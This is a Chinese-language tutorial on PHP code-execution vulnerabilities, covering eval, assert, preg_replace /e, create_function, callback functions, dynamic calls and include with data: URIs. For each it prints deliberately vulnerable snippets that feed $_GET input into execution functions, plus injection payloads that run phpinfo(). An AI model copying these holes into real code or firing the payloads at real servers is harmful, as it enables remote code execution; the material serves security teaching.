当前各类网络业务应用系统的功能越来越多,给用户带来了各种业务便利和新的功能体验。在系统设计和开发过程中,软件工程师关注更多的是功能的可用性、易用性等方面,并没有注意程序代码所用的函数、实现的功能、执行的流程等方面是否安全。本节将从程序的函数参数、执行流程方面分析代码执行漏洞的原理。

代码执行漏洞是指用户通过客户端提交可执行命令代码,由于服务端没有针对函数的参数做有效过滤,导致系统执行非法命令代码。

代码执行函数

所谓代码执行,就是通过参数、变量等指定可执行的代码,参数和变量中存储的将不再是数字、字符串等数值,而是可以执行的脚本代码或二进制代码。代码执行函数则是指可以实现代码执行的函数。在PHP语言和框架中,有很多代码执行函数,其参数可以接收代码值并触发执行该代码。一旦将有风险的代码通过函数参数传递给这些函数,就很容易执行恶意操作,触发安全漏洞。例如eval()assert()preg_replace()call_user_func()call_user_func_array()create_function()array_map()等函数,最常见的如动态函数$a($b)等,代码执行漏洞就是因为上述这些函数的参数是用户可控的,而服务器端没有针对这些可控的参数进行有效的过滤,导致可控的参数被赋值恶意代码,进入命令执行函数被执行。

代码执行漏洞的另一种常见利用方式是通过文件包含函数,例如include()include_once()require_once()file_get_contents()file_put_contents()fwrite()等,将恶意代码嵌入程序当前的执行空间,从而触发代码执行漏洞。

eval() 函数

eval()函数把参数的字符串值当作PHP代码来执行,当字符串是合法的PHP代码且以分号作为行结尾时,代码在服务端的运行效果与通过该函数触发执行效果相同。

示例

漏洞代码如下:

1
2
3
4
5
<?php
$data=$_GET['data'];
eval("\$ret=strtolower(\"$data\");");
echo $ret;
?>

这段代码的作用是将get请求到的字符串转换成小写字母并输出

正常请求如下:

image-20211207175306966

但是我们可以通过构造闭合括号的双引号进行代码注入攻击

image-20211207175419555

将payload带入源代码(传参时会自动进行转义):

1
eval("\$ret=strtolower(\"A\");phpinfo();(\"A\");");

因为eval()函数会以分号为分隔执行代码,所以执行的PHP代码如下:

1
2
3
$ret=strtolower("A");
phpinfo();
("A");"

触发嵌入的phpinfo()代码便能成功执行

注:eval 是一个语言构造器而不是一个函数,不能被可变函数调用

assert() 函数

PHP语言的assert()函数判断一个表达式是否成立,返回truefalse。当其参数为多个字符组成的字符串时,该函数首先将字符串当作PHP代码执行,并将代码执行的返回结果作为表达式判断是否有效。

eval()不同的是assert()只能执行一条php代码,所以不需要增加分号。

示例

漏洞代码如下:

1
2
3
4
<?php
$data=$_GET['data'];
assert("$data");
?>

image-20211207185417879

注:自PHP_8 起assert()不再支持执行代码了

preg_replace() 函数

preg_replace()函数有三个参数:

  1. 第一个参数是要搜索的模式,可以是字符串或一个字符串数组;

  2. 第二个参数是用于替换的字符串或字符串数组;

  3. 第三个参数pattern存在的/e模式修饰符且PHP配置的magic_quotes_gpc=Off时,函数会将第二个参数值当作PHP代码进行解析执行。该函数的三个参数都是用户可控的,因此,函数具备成为代码执行漏洞的条件。

示例

漏洞代码如下:

1
2
3
4
5
6
7
<?php
$pattern = "/\d/e";
$replacement = $_GET['rp'];
$subject = $_GET['sub'];
$str = preg_replace($pattern,$replacement,$subject);
echo $str;
?>

这段代码的作用是将匹配get传递sub参数中的数字部分替换为get传递的rp参数的值

正常请求如下:

image-20211207205511824

但是我们可以把替换的值改为执行的PHP代码,成功触发漏洞

image-20211207214228358

注:自PHP5.5.0版本起 /e 修饰符被弃用,无法使用该函数执行代码

create_function() 函数

create_function()函数主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

示例

漏洞代码如下:

1
2
3
4
5
6
7
<?php
$n1 = $_GET['a'];
$n2 = $_GET['b'];
$cont = "return ".($n1.$n2).";";
$func1 = create_function('$a,$b', $cont);
echo $func1($n1,$n2);
?>

执行函数为:

1
2
3
function func1($a,$b) {
return $a.$b;
}

这段代码的作用是将两个get请求到的字符串拼接并输出

正常请求如下:

image-20211208123919144

我们可以通过闭合函数前面与后面的大括号,来达到代码注入

payload:

1
?a=abc&b=ddd;}phpinfo();{123

image-20211208124749298

注入后执行的函数:

1
2
3
4
function func1($a,$b) {
return 'abc'.'ddd';}
phpinfo();
{123};

array_map() 函数

array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。它的第一个参数是回调函数,第二个参数是要处理的数组。回调函数接受的参数数目应该和传递给array_map()函数的数组数目一致。

示例

漏洞代码如下:

1
2
3
4
5
6
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>

payload:

1
?func=phpinfo&cmd=1

array_filter() 函数

array_filter()函数用回调函数过滤数组中的值。该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回结果数组中。数组键名保持不变。

示例

漏洞代码如下:

1
2
3
4
5
6
<?php 
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

payload:

1
?func=phpinfo&cmd=1

call_user_func() / call_user_func_array() 函数

call_user_func() —— 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array() —— 调用回调函数,并把一个数组参数作为回调函数的参数。

示例

漏洞代码如下:

call_user_func()

1
2
3
<?php 
call_user_func(assert,$_GET['cmd']);
?>

call_user_func_array()

1
2
3
4
5
<?php 
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

payload:

1
?cmd=phpinfo

usort() / uasort() / uksort() 函数

usort()通过用户自定义的比较函数对数组进行排序。

uasort()使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

示例

漏洞代码如下:

usort()

1
2
3
4
5
6
<?php 
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
$str = array($str1,$str2);
usort($str,'assert');
?>

uasort()

1
2
3
4
5
6
<?php 
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
$str = array('a'=>$str1,'b'=>$str2);
uasort($str,'assert');
?>

uksort()

1
2
3
4
5
6
<?php 
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
$str = array('a'=>$str1,'b'=>$str2);
uksort($str,'assert');
?>

payload:

1
?str1=1&str2=phpinfo()

其他代码执行函数

  • array_reduce()
  • array_diff_uassoc()
  • array_diff_ukey()
  • array_udiff()
  • array_udiff_assoc()
  • array_udiff_uassoc()
  • array_intersect()
  • array_intersect_assoc()
  • array_intersect_uassoc()
  • array_uintersect()
  • array_uintersect_assoc()
  • array_uintersect_uassoc()
  • array_walk()
  • array_walk_recursive()
  • xml_set_character_data_handler()
  • xml_set_default_handler()
  • xml_set_end_namespace_decl_handler()
  • xml_set_external_entity_ref_handler()
  • xml_set_notation_decl_handler()
  • xml_set_start_namespace_decl_handler()
  • xml_set_unparsed_entity_decl_handler()
  • stream_filter_register()
  • set_error_handler()
  • register_shutdown_function()
  • register_tick_function()

动态函数 $a($b)

由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

示例

漏洞代码如下:

1
2
3
4
5
6
7
<?php
if(isset($_GET['a'])) {
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}
?>

payload:

1
?a=assert&b=phpinfo()

image-20211208182645318

文件包含函数导致代码执行

当PHP配置中的allow_url_include=Onallow_url_fopen=On,且PHP版本高于5.2时,会存在文件包含函数导致的代码执行漏洞。

示例

1
2
3
<?php
include($_GET['test']);
?>

payload:

1
?test=data:text/plain,<?php phpinfo(); ?>

image-20211208185411028

参考资料